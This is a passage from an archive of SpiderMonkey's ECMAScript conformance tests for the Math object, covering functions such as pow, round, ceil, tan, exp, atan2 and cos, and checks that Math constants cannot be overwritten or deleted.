Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(0, -1)", Number.POSITIVE_INFINITY, Math.pow(0, -1) ); new TestCase( SECTION, "Math.pow(0, -0.5)", Number.POSITIVE_INFINITY, Math.pow(0, -0.5) ); new TestCase( SECTION, "Math.pow(0, -1000)", Number.POSITIVE_INFINITY, Math.pow(0, -1000) ); new TestCase( SECTION, "Math.pow(0, -Infinity)", Number.POSITIVE_INFINITY, Math.pow(0, Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(-0, 1)", -0, Math.pow(-0, 1) ); new TestCase( SECTION, "Math.pow(-0, 3)", -0, Math.pow(-0,3) ); new TestCase( SECTION, "Infinity/Math.pow(-0, 1)", -Infinity, Infinity/Math.pow(-0, 1) ); new TestCase( SECTION, "Infinity/Math.pow(-0, 3)", -Infinity, Infinity/Math.pow(-0,3) ); new TestCase( SECTION, "Math.pow(-0, 2)", 0, Math.pow(-0,2) ); new TestCase( SECTION, "Math.pow(-0, Infinity)", 0, Math.pow(-0, Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(-0, -1)", Number.NEGATIVE_INFINITY, Math.pow(-0, -1) ); new TestCase( SECTION, "Math.pow(-0, -10001)", Number.NEGATIVE_INFINITY, Math.pow(-0, -10001) ); new TestCase( SECTION, "Math.pow(-0, -2)", Number.POSITIVE_INFINITY, Math.pow(-0, -2) ); new TestCase( SECTION, "Math.pow(-0, 0.5)", 0, Math.pow(-0, 0.5) ); new TestCase( SECTION, "Math.pow(-0, Infinity)", 0, Math.pow(-0, Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.pow(-1, 0.5)", Number.NaN, Math.pow(-1, 0.5) ); new TestCase( SECTION, "Math.pow(-1, NaN)", Number.NaN, Math.pow(-1, Number.NaN) ); new TestCase( SECTION, "Math.pow(-1, -0.5)", Number.NaN, Math.pow(-1, -0.5) ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.8-2.js0000664000175000017500000000204212106270663020337 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.8-2.js ECMA Section: 15.8.1.8.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Math.SQRT2 Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.8-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.SQRT2"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "delete Math.SQRT2; Math.SQRT2", 1.4142135623730951, eval("delete Math.SQRT2; Math.SQRT2") ); new TestCase( SECTION, "delete Math.SQRT2", false, eval("delete Math.SQRT2") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.15.js0000664000175000017500000000721712106270663020270 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.15.js ECMA Section: 15.8.2.15 Math.round(x) Description: return the greatest number value that is closest to the argument and is an integer. if two integers are equally close to the argument. then the result is the number value that is closer to Infinity. if the argument is an integer, return the argument. special cases: - if x is NaN return NaN - if x = +0 return +0 - if x = -0 return -0 - if x = Infinity return Infinity - if x = -Infinity return -Infinity - if 0 < x < 0.5 return 0 - if -0.5 <= x < 0 return -0 example: Math.round( 3.5 ) == 4 Math.round( -3.5 ) == 3 also: - Math.round(x) == Math.floor( x + 0.5 ) except if x = -0. in that case, Math.round(x) = -0 and Math.floor( x+0.5 ) = +0 Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.15"; var VERSION = "ECMA_1"; var TITLE = "Math.round(x)"; var BUGNUMBER="331411"; var EXCLUDE = "true"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.round.length", 1, Math.round.length ); new TestCase( SECTION, "Math.round()", Number.NaN, Math.round() ); new TestCase( SECTION, "Math.round(null)", 0, Math.round(0) ); new TestCase( SECTION, "Math.round(void 0)", Number.NaN, Math.round(void 0) ); new TestCase( SECTION, "Math.round(true)", 1, Math.round(true) ); new TestCase( SECTION, "Math.round(false)", 0, Math.round(false) ); new TestCase( SECTION, "Math.round('.99999')", 1, Math.round('.99999') ); new TestCase( SECTION, "Math.round('12345e-2')", 123, Math.round('12345e-2') ); new TestCase( SECTION, "Math.round(NaN)", Number.NaN, Math.round(Number.NaN) ); new TestCase( SECTION, "Math.round(0)", 0, Math.round(0) ); new TestCase( SECTION, "Math.round(-0)", -0, Math.round(-0)); new TestCase( SECTION, "Infinity/Math.round(-0)", -Infinity, Infinity/Math.round(-0) ); new TestCase( SECTION, "Math.round(Infinity)", Number.POSITIVE_INFINITY, Math.round(Number.POSITIVE_INFINITY)); new TestCase( SECTION, "Math.round(-Infinity)", Number.NEGATIVE_INFINITY, Math.round(Number.NEGATIVE_INFINITY)); new TestCase( SECTION, "Math.round(0.49)", 0, Math.round(0.49)); new TestCase( SECTION, "Math.round(0.5)", 1, Math.round(0.5)); new TestCase( SECTION, "Math.round(0.51)", 1, Math.round(0.51)); new TestCase( SECTION, "Math.round(-0.49)", -0, Math.round(-0.49)); new TestCase( SECTION, "Math.round(-0.5)", -0, Math.round(-0.5)); new TestCase( SECTION, "Infinity/Math.round(-0.49)", -Infinity, Infinity/Math.round(-0.49)); new TestCase( SECTION, "Infinity/Math.round(-0.5)", -Infinity, Infinity/Math.round(-0.5)); new TestCase( SECTION, "Math.round(-0.51)", -1, Math.round(-0.51)); new TestCase( SECTION, "Math.round(3.5)", 4, Math.round(3.5)); new TestCase( SECTION, "Math.round(-3.5)", -3, Math.round(-3)); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.3-1.js0000664000175000017500000000161412106270663020335 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.3-1.js ECMA Section: 15.8.1.3.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Math.LN2 Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.3-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.LN2"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.LN2=0; Math.LN2", 0.6931471805599453, eval("Math.LN2=0; Math.LN2") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.6.js0000664000175000017500000001063112106270663020202 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.6.js ECMA Section: 15.8.2.6 Math.ceil(x) Description: return the smallest number value that is not less than the argument and is equal to a mathematical integer. if the number is already an integer, return the number itself. special cases: - if x is NaN return NaN - if x = +0 return +0 - if x = 0 return -0 - if x = Infinity return Infinity - if x = -Infinity return -Infinity - if ( -1 < x < 0 ) return -0 also: - the value of Math.ceil(x) == -Math.ceil(-x) Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.6"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.ceil(x)"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.ceil.length", 1, Math.ceil.length ); new TestCase( SECTION, "Math.ceil(NaN)", Number.NaN, Math.ceil(Number.NaN) ); new TestCase( SECTION, "Math.ceil(null)", 0, Math.ceil(null) ); new TestCase( SECTION, "Math.ceil()", Number.NaN, Math.ceil() ); new TestCase( SECTION, "Math.ceil(void 0)", Number.NaN, Math.ceil(void 0) ); new TestCase( SECTION, "Math.ceil('0')", 0, Math.ceil('0') ); new TestCase( SECTION, "Math.ceil('-0')", -0, Math.ceil('-0') ); new TestCase( SECTION, "Infinity/Math.ceil('0')", Infinity, Infinity/Math.ceil('0')); new TestCase( SECTION, "Infinity/Math.ceil('-0')", -Infinity, Infinity/Math.ceil('-0')); new TestCase( SECTION, "Math.ceil(0)", 0, Math.ceil(0) ); new TestCase( SECTION, "Math.ceil(-0)", -0, Math.ceil(-0) ); new TestCase( SECTION, "Infinity/Math.ceil(0)", Infinity, Infinity/Math.ceil(0)); new TestCase( SECTION, "Infinity/Math.ceil(-0)", -Infinity, Infinity/Math.ceil(-0)); new TestCase( SECTION, "Math.ceil(Infinity)", Number.POSITIVE_INFINITY, Math.ceil(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.ceil(-Infinity)", Number.NEGATIVE_INFINITY, Math.ceil(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.ceil(-Number.MIN_VALUE)", -0, Math.ceil(-Number.MIN_VALUE) ); new TestCase( SECTION, "Infinity/Math.ceil(-Number.MIN_VALUE)", -Infinity, Infinity/Math.ceil(-Number.MIN_VALUE) ); new TestCase( SECTION, "Math.ceil(1)", 1, Math.ceil(1) ); new TestCase( SECTION, "Math.ceil(-1)", -1, Math.ceil(-1) ); new TestCase( SECTION, "Math.ceil(-0.9)", -0, Math.ceil(-0.9) ); new TestCase( SECTION, "Infinity/Math.ceil(-0.9)", -Infinity, Infinity/Math.ceil(-0.9) ); new TestCase( SECTION, "Math.ceil(0.9 )", 1, Math.ceil( 0.9) ); new TestCase( SECTION, "Math.ceil(-1.1)", -1, Math.ceil( -1.1)); new TestCase( SECTION, "Math.ceil( 1.1)", 2, Math.ceil( 1.1)); new TestCase( SECTION, "Math.ceil(Infinity)", -Math.floor(-Infinity), Math.ceil(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.ceil(-Infinity)", -Math.floor(Infinity), Math.ceil(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.ceil(-Number.MIN_VALUE)", -Math.floor(Number.MIN_VALUE), Math.ceil(-Number.MIN_VALUE) ); new TestCase( SECTION, "Math.ceil(1)", -Math.floor(-1), Math.ceil(1) ); new TestCase( SECTION, "Math.ceil(-1)", -Math.floor(1), Math.ceil(-1) ); new TestCase( SECTION, "Math.ceil(-0.9)", -Math.floor(0.9), Math.ceil(-0.9) ); new TestCase( SECTION, "Math.ceil(0.9 )", -Math.floor(-0.9), Math.ceil( 0.9) ); new TestCase( SECTION, "Math.ceil(-1.1)", -Math.floor(1.1), Math.ceil( -1.1)); new TestCase( SECTION, "Math.ceil( 1.1)", -Math.floor(-1.1), Math.ceil( 1.1)); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.18.js0000664000175000017500000000645212106270663020273 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.18.js ECMA Section: 15.8.2.18 tan( x ) Description: return an approximation to the tan of the argument. argument is expressed in radians special cases: - if x is NaN result is NaN - if x is 0 result is 0 - if x is -0 result is -0 - if x is Infinity or -Infinity result is NaN Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.18"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.tan(x)"; var EXCLUDE = "true"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.tan.length", 1, Math.tan.length ); new TestCase( SECTION, "Math.tan()", Number.NaN, Math.tan() ); new TestCase( SECTION, "Math.tan(void 0)", Number.NaN, Math.tan(void 0)); new TestCase( SECTION, "Math.tan(null)", 0, Math.tan(null) ); new TestCase( SECTION, "Math.tan(false)", 0, Math.tan(false) ); new TestCase( SECTION, "Math.tan(NaN)", Number.NaN, Math.tan(Number.NaN) ); new TestCase( SECTION, "Math.tan(0)", 0, Math.tan(0)); new TestCase( SECTION, "Math.tan(-0)", -0, Math.tan(-0)); new TestCase( SECTION, "Math.tan(Infinity)", Number.NaN, Math.tan(Number.POSITIVE_INFINITY)); new TestCase( SECTION, "Math.tan(-Infinity)", Number.NaN, Math.tan(Number.NEGATIVE_INFINITY)); new TestCase( SECTION, "Math.tan(Math.PI/4)", 1, Math.tan(Math.PI/4)); new TestCase( SECTION, "Math.tan(3*Math.PI/4)", -1, Math.tan(3*Math.PI/4)); new TestCase( SECTION, "Math.tan(Math.PI)", -0, Math.tan(Math.PI)); new TestCase( SECTION, "Math.tan(5*Math.PI/4)", 1, Math.tan(5*Math.PI/4)); new TestCase( SECTION, "Math.tan(7*Math.PI/4)", -1, Math.tan(7*Math.PI/4)); new TestCase( SECTION, "Infinity/Math.tan(-0)", -Infinity, Infinity/Math.tan(-0) ); /* Arctan (x) ~ PI/2 - 1/x for large x. For x = 1.6x10^16, 1/x is about the last binary digit of double precision PI/2. That is to say, perturbing PI/2 by this much is about the smallest rounding error possible. This suggests that the answer Christine is getting and a real Infinity are "adjacent" results from the tangent function. I suspect that tan (PI/2 + one ulp) is a negative result about the same size as tan (PI/2) and that this pair are the closest results to infinity that the algorithm can deliver. In any case, my call is that the answer we're seeing is "right". I suggest the test pass on any result this size or larger. = C = */ new TestCase( SECTION, "Math.tan(3*Math.PI/2) >= 5443000000000000", true, Math.tan(3*Math.PI/2) >= 5443000000000000 ); new TestCase( SECTION, "Math.tan(Math.PI/2) >= 5443000000000000", true, Math.tan(Math.PI/2) >= 5443000000000000 ); test(); mozjs17.0.0/js/src/tests/ecma/Math/browser.js0000664000175000017500000000000012106270663020753 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Math/15.8.2.8.js0000664000175000017500000000427212106270663020210 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.8.js ECMA Section: 15.8.2.8 Math.exp(x) Description: return an approximation to the exponential function of the argument (e raised to the power of the argument) special cases: - if x is NaN return NaN - if x is 0 return 1 - if x is -0 return 1 - if x is Infinity return Infinity - if x is -Infinity return 0 Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.8"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.exp(x)"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.exp.length", 1, Math.exp.length ); new TestCase( SECTION, "Math.exp()", Number.NaN, Math.exp() ); new TestCase( SECTION, "Math.exp(null)", 1, Math.exp(null) ); new TestCase( SECTION, "Math.exp(void 0)", Number.NaN, Math.exp(void 0) ); new TestCase( SECTION, "Math.exp(1)", Math.E, Math.exp(1) ); new TestCase( SECTION, "Math.exp(true)", Math.E, Math.exp(true) ); new TestCase( SECTION, "Math.exp(false)", 1, Math.exp(false) ); new TestCase( SECTION, "Math.exp('1')", Math.E, Math.exp('1') ); new TestCase( SECTION, "Math.exp('0')", 1, Math.exp('0') ); new TestCase( SECTION, "Math.exp(NaN)", Number.NaN, Math.exp(Number.NaN) ); new TestCase( SECTION, "Math.exp(0)", 1, Math.exp(0) ); new TestCase( SECTION, "Math.exp(-0)", 1, Math.exp(-0) ); new TestCase( SECTION, "Math.exp(Infinity)", Number.POSITIVE_INFINITY, Math.exp(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.exp(-Infinity)", 0, Math.exp(Number.NEGATIVE_INFINITY) ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.8-1.js0000664000175000017500000000162412106270663020343 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.8-1.js ECMA Section: 15.8.1.8.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the ReadOnly attribute of Math.SQRT2 Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.8-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.SQRT2"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.SQRT2=0; Math.SQRT2", 1.4142135623730951, eval("Math.SQRT2=0; Math.SQRT2") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.4-2.js0000664000175000017500000000204312106270663020334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.4-2.js ECMA Section: 15.8.1.4.js Description: All value properties of the Math object should have the attributes [DontEnum, DontDelete, ReadOnly] this test checks the DontDelete attribute of Math.LOG2E Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "15.8.1.4-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.LOG2E"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "delete(Math.L0G2E);Math.LOG2E", 1.4426950408889634, eval("delete(Math.LOG2E);Math.LOG2E") ); new TestCase( SECTION, "delete(Math.L0G2E)", false, eval("delete(Math.LOG2E)") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.5.js0000664000175000017500000001155512106270663020207 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.5.js ECMA Section: 15.8.2.5 atan2( y, x ) Description: Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.5"; var VERSION = "ECMA_1"; var TITLE = "Math.atan2(x,y)"; var BUGNUMBER="76111"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.atan2.length", 2, Math.atan2.length ); new TestCase( SECTION, "Math.atan2(NaN, 0)", Number.NaN, Math.atan2(Number.NaN,0) ); new TestCase( SECTION, "Math.atan2(null, null)", 0, Math.atan2(null, null) ); new TestCase( SECTION, "Math.atan2(void 0, void 0)", Number.NaN, Math.atan2(void 0, void 0) ); new TestCase( SECTION, "Math.atan2()", Number.NaN, Math.atan2() ); new TestCase( SECTION, "Math.atan2(0, NaN)", Number.NaN, Math.atan2(0,Number.NaN) ); new TestCase( SECTION, "Math.atan2(1, 0)", Math.PI/2, Math.atan2(1,0) ); new TestCase( SECTION, "Math.atan2(1,-0)", Math.PI/2, Math.atan2(1,-0) ); new TestCase( SECTION, "Math.atan2(0,0.001)", 0, Math.atan2(0,0.001) ); new TestCase( SECTION, "Math.atan2(0,0)", 0, Math.atan2(0,0) ); new TestCase( SECTION, "Math.atan2(0, -0)", Math.PI, Math.atan2(0,-0) ); new TestCase( SECTION, "Math.atan2(0, -1)", Math.PI, Math.atan2(0, -1) ); new TestCase( SECTION, "Math.atan2(-0, 1)", -0, Math.atan2(-0, 1) ); new TestCase( SECTION, "Infinity/Math.atan2(-0, 1)", -Infinity, Infinity/Math.atan2(-0,1) ); new TestCase( SECTION, "Math.atan2(-0, 0)", -0, Math.atan2(-0,0) ); new TestCase( SECTION, "Math.atan2(-0, -0)", -Math.PI, Math.atan2(-0, -0) ); new TestCase( SECTION, "Math.atan2(-0, -1)", -Math.PI, Math.atan2(-0, -1) ); new TestCase( SECTION, "Math.atan2(-1, 0)", -Math.PI/2, Math.atan2(-1, 0) ); new TestCase( SECTION, "Math.atan2(-1, -0)", -Math.PI/2, Math.atan2(-1, -0) ); new TestCase( SECTION, "Math.atan2(1, Infinity)", 0, Math.atan2(1, Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.atan2(1,-Infinity)", Math.PI, Math.atan2(1, Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.atan2(-1, Infinity)", -0, Math.atan2(-1,Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Infinity/Math.atan2(-1, Infinity)", -Infinity, Infinity/Math.atan2(-1,Infinity) ); new TestCase( SECTION, "Math.atan2(-1,-Infinity)", -Math.PI, Math.atan2(-1,Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.atan2(Infinity, 0)", Math.PI/2, Math.atan2(Number.POSITIVE_INFINITY, 0) ); new TestCase( SECTION, "Math.atan2(Infinity, 1)", Math.PI/2, Math.atan2(Number.POSITIVE_INFINITY, 1) ); new TestCase( SECTION, "Math.atan2(Infinity,-1)", Math.PI/2, Math.atan2(Number.POSITIVE_INFINITY,-1) ); new TestCase( SECTION, "Math.atan2(Infinity,-0)", Math.PI/2, Math.atan2(Number.POSITIVE_INFINITY,-0) ); new TestCase( SECTION, "Math.atan2(-Infinity, 0)", -Math.PI/2, Math.atan2(Number.NEGATIVE_INFINITY, 0) ); new TestCase( SECTION, "Math.atan2(-Infinity,-0)", -Math.PI/2, Math.atan2(Number.NEGATIVE_INFINITY,-0) ); new TestCase( SECTION, "Math.atan2(-Infinity, 1)", -Math.PI/2, Math.atan2(Number.NEGATIVE_INFINITY, 1) ); new TestCase( SECTION, "Math.atan2(-Infinity, -1)", -Math.PI/2, Math.atan2(Number.NEGATIVE_INFINITY,-1) ); new TestCase( SECTION, "Math.atan2(Infinity, Infinity)", Math.PI/4, Math.atan2(Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.atan2(Infinity, -Infinity)", 3*Math.PI/4, Math.atan2(Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.atan2(-Infinity, Infinity)", -Math.PI/4, Math.atan2(Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.atan2(-Infinity, -Infinity)", -3*Math.PI/4, Math.atan2(Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.atan2(-1, 1)", -Math.PI/4, Math.atan2( -1, 1) ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.1.js0000664000175000017500000000540212106270663020035 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.1.js ECMA Section: 15.8.1.js Value Properties of the Math Object 15.8.1.1 E 15.8.1.2 LN10 15.8.1.3 LN2 15.8.1.4 LOG2E 15.8.1.5 LOG10E 15.8.1.6 PI 15.8.1.7 SQRT1_2 15.8.1.8 SQRT2 Description: verify the values of some math constants Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.1" var VERSION = "ECMA_1"; startTest(); var TITLE = "Value Properties of the Math Object"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( "15.8.1.1", "Math.E", 2.7182818284590452354, Math.E ); new TestCase( "15.8.1.1", "typeof Math.E", "number", typeof Math.E ); new TestCase( "15.8.1.2", "Math.LN10", 2.302585092994046, Math.LN10 ); new TestCase( "15.8.1.2", "typeof Math.LN10", "number", typeof Math.LN10 ); new TestCase( "15.8.1.3", "Math.LN2", 0.6931471805599453, Math.LN2 ); new TestCase( "15.8.1.3", "typeof Math.LN2", "number", typeof Math.LN2 ); new TestCase( "15.8.1.4", "Math.LOG2E", 1.4426950408889634, Math.LOG2E ); new TestCase( "15.8.1.4", "typeof Math.LOG2E", "number", typeof Math.LOG2E ); new TestCase( "15.8.1.5", "Math.LOG10E", 0.4342944819032518, Math.LOG10E); new TestCase( "15.8.1.5", "typeof Math.LOG10E", "number", typeof Math.LOG10E); new TestCase( "15.8.1.6", "Math.PI", 3.14159265358979323846, Math.PI ); new TestCase( "15.8.1.6", "typeof Math.PI", "number", typeof Math.PI ); new TestCase( "15.8.1.7", "Math.SQRT1_2", 0.7071067811865476, Math.SQRT1_2); new TestCase( "15.8.1.7", "typeof Math.SQRT1_2", "number", typeof Math.SQRT1_2); new TestCase( "15.8.1.8", "Math.SQRT2", 1.4142135623730951, Math.SQRT2 ); new TestCase( "15.8.1.8", "typeof Math.SQRT2", "number", typeof Math.SQRT2 ); new TestCase( SECTION, "var MATHPROPS='';for( p in Math ){ MATHPROPS +=p; };MATHPROPS", "", eval("var MATHPROPS='';for( p in Math ){ MATHPROPS +=p; };MATHPROPS") ); test(); mozjs17.0.0/js/src/tests/ecma/Math/15.8.2.7.js0000664000175000017500000001265612106270663020214 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.8.2.7.js ECMA Section: 15.8.2.7 cos( x ) Description: return an approximation to the cosine of the argument. argument is expressed in radians Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "15.8.2.7"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Math.cos(x)"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Math.cos.length", 1, Math.cos.length ); new TestCase( SECTION, "Math.cos()", Number.NaN, Math.cos() ); new TestCase( SECTION, "Math.cos(void 0)", Number.NaN, Math.cos(void 0) ); new TestCase( SECTION, "Math.cos(false)", 1, Math.cos(false) ); new TestCase( SECTION, "Math.cos(null)", 1, Math.cos(null) ); new TestCase( SECTION, "Math.cos('0')", 1, Math.cos('0') ); new TestCase( SECTION, "Math.cos('Infinity')", Number.NaN, Math.cos("Infinity") ); new TestCase( SECTION, "Math.cos('3.14159265359')", -1, Math.cos('3.14159265359') ); new TestCase( SECTION, "Math.cos(NaN)", Number.NaN, Math.cos(Number.NaN) ); new TestCase( SECTION, "Math.cos(0)", 1, Math.cos(0) ); new TestCase( SECTION, "Math.cos(-0)", 1, Math.cos(-0) ); new TestCase( SECTION, "Math.cos(Infinity)", Number.NaN, Math.cos(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "Math.cos(-Infinity)", Number.NaN, Math.cos(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "Math.cos(0.7853981633974)", 0.7071067811865, Math.cos(0.7853981633974) ); new TestCase( SECTION, "Math.cos(1.570796326795)", 0, Math.cos(1.570796326795) ); new TestCase( SECTION, "Math.cos(2.356194490192)", -0.7071067811865, Math.cos(2.356194490192) ); new TestCase( SECTION, "Math.cos(3.14159265359)", -1, Math.cos(3.14159265359) ); new TestCase( SECTION, "Math.cos(3.926990816987)", -0.7071067811865, Math.cos(3.926990816987) ); new TestCase( SECTION, "Math.cos(4.712388980385)", 0, Math.cos(4.712388980385) ); new TestCase( SECTION, "Math.cos(5.497787143782)", 0.7071067811865, Math.cos(5.497787143782) ); new TestCase( SECTION, "Math.cos(Math.PI*2)", 1, Math.cos(Math.PI*2) ); new TestCase( SECTION, "Math.cos(Math.PI/4)", Math.SQRT2/2, Math.cos(Math.PI/4) ); new TestCase( SECTION, "Math.cos(Math.PI/2)", 0, Math.cos(Math.PI/2) ); new TestCase( SECTION, "Math.cos(3*Math.PI/4)", -Math.SQRT2/2, Math.cos(3*Math.PI/4) ); new TestCase( SECTION, "Math.cos(Math.PI)", -1, Math.cos(Math.PI) ); new TestCase( SECTION, "Math.cos(5*Math.PI/4)", -Math.SQRT2/2, Math.cos(5*Math.PI/4) ); new TestCase( SECTION, "Math.cos(3*Math.PI/2)", 0, Math.cos(3*Math.PI/2) ); new TestCase( SECTION, "Math.cos(7*Math.PI/4)", Math.SQRT2/2, Math.cos(7*Math.PI/4) ); new TestCase( SECTION, "Math.cos(Math.PI*2)", 1, Math.cos(2*Math.PI) ); new TestCase( SECTION, "Math.cos(-0.7853981633974)", 0.7071067811865, Math.cos(-0.7853981633974) ); new TestCase( SECTION, "Math.cos(-1.570796326795)", 0, Math.cos(-1.570796326795) ); new TestCase( SECTION, "Math.cos(-2.3561944901920)", -.7071067811865, Math.cos(2.3561944901920) ); new TestCase( SECTION, "Math.cos(-3.14159265359)", -1, Math.cos(3.14159265359) ); new TestCase( SECTION, "Math.cos(-3.926990816987)", -0.7071067811865, Math.cos(3.926990816987) ); new TestCase( SECTION, "Math.cos(-4.712388980385)", 0, Math.cos(4.712388980385) ); new TestCase( SECTION, "Math.cos(-5.497787143782)", 0.7071067811865, Math.cos(5.497787143782) ); new TestCase( SECTION, "Math.cos(-6.28318530718)", 1, Math.cos(6.28318530718) ); new TestCase( SECTION, "Math.cos(-Math.PI/4)", Math.SQRT2/2, Math.cos(-Math.PI/4) ); new TestCase( SECTION, "Math.cos(-Math.PI/2)", 0, Math.cos(-Math.PI/2) ); new TestCase( SECTION, "Math.cos(-3*Math.PI/4)", -Math.SQRT2/2, Math.cos(-3*Math.PI/4) ); new TestCase( SECTION, "Math.cos(-Math.PI)", -1, 